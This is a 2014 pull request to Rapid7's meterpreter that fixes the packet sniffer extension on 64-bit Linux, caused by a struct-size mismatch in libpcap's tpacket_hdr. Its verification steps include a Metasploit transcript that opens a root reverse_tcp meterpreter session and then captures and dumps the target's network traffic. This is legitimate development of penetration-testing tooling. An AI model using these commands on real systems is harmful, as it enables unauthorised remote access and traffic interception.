rapid7/meterpreter — pull request #92 by jvazquez-r7 (2014-07-11 21:10:34+00:00)
Title: [SeeRM #6355] Fix sniffer extension on 64bits machines

This patch tries to fix: https://dev.metasploit.com/redmine/issues/6355

Also, maybe is also fixing https://dev.metasploit.com/redmine/issues/6527. There are no instruction to reproduce RM 6427, not sure if it's enough with just let the sniffer running for a while? ping @jlee-r7 . Anyway I'll look harder into RM 6427 and update this pull request and the rm ticket if this patch solves also the issue.

The problem with https://dev.metasploit.com/redmine/issues/6355 happens when libpcap uses ```TPACKET_V1```. The definition of ```tpacket_hdr``` on ```if_packet.h``` is:

```
struct tpacket_hdr
{
unsigned long tp_status;
unsigned int tp_len;
unsigned int tp_snaplen;
unsigned short tp_mac;
unsigned short tp_net;
unsigned int tp_sec;
unsigned int tp_usec;
};
```

The problem comes from the ```tp_status``` field being defined as unsigned long, which is 8 bytes on 64bits archs, and 4 bytes on 32bits archs. When running meterpreter (32 bits app) on 64 bits machines, libpcap doesn't parse the header correctly, sending an incorrect pointer to the ```sniffer``` extension.

Since using ```TPACKET_V1``` allows compatibility with kernels before ```TPACKET_V1```, patching pcap to guess if the system is 32 bits or 64 bits sounds a good solution.

Since we need to guess 32bits vs 64 bits at **runtime** ```uname``` is being used. (Remember we're running a 32 bits application on a 64 bits machine, when proposing other methods to guess the host arch).

Maybe this patch is not perfect, and there is a better solution out there to deal with something like that. Feedback is super welcome.

Verification
---------

- [ ] Get a root meterpreter session on a 64 bits machine:

```
msf > use exploit/multi/handler
msf exploit(handler) > set payload linux/x86/meterpreter/reverse_tcp
payload => linux/x86/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 172.16.158.1
lhost => 172.16.158.1
msf exploit(handler) > set lport 4444
lport => 4444
msf exploit(handler) > rexploit
[*] Reloading module...

[*] Started reverse handler on 172.16.158.1:4444
[*] Starting the payload handler...
[*] Transmitting intermediate stager for over-sized stage...(100 bytes)
[*] Sending stage (1138688 bytes) to 172.16.158.206
[*] Meterpreter session 1 opened (172.16.158.1:4444 -> 172.16.158.206:37079) at 2014-07-11 16:02:16 -0500

meterpreter > getuid
Server username: uid=0, gid=0, euid=0, egid=0, suid=0, sgid=0
meterpreter > sysinfo
Computer : ubuntu
OS : Linux ubuntu 3.8.0-29-generic #42~precise1-Ubuntu SMP Wed Aug 14 16:19:23 UTC 2013 (x86_64)
Architecture : x86_64
Meterpreter : x86/linux
```

* [ ] Load the sniffer extension

```
meterpreter > load sniffer
Loading extension sniffer...success.
```

* [ ] Start to capture in an available interface and generate traffic in the listening interface

```
meterpreter > sniffer_start 1
[*] Capture started on interface 1 (50000 packet buffer)
```

* [ ] Once you have generated some traffic, stop the sniffer

```
meterpreter > sniffer_stop 1
[*] Capture stopped on interface 1
[*] There are 21 packets (1640 bytes) remaining
[*] Download or release them using 'sniffer_dump' or 'sniffer_release'
```

* [ ] Dump the captured data to a pcap

```
meterpreter > sniffer_dump 1 /tmp/64bits_fixed.pcap
[*] Flushing packet capture buffer for interface 1...
[*] Flushed 21 packets (2060 bytes)
[*] Downloaded 100% (2060/2060)...
[*] Download completed, converting to PCAP...
[*] PCAP file written to /tmp/64bits_fixed.pcap
```

* [ ] Check the pcap and verify which the is correctly parsed, and data isn't missed.

* [ ] Repeat the process on a 32 bits target, verify which the sniffer extension works as expected.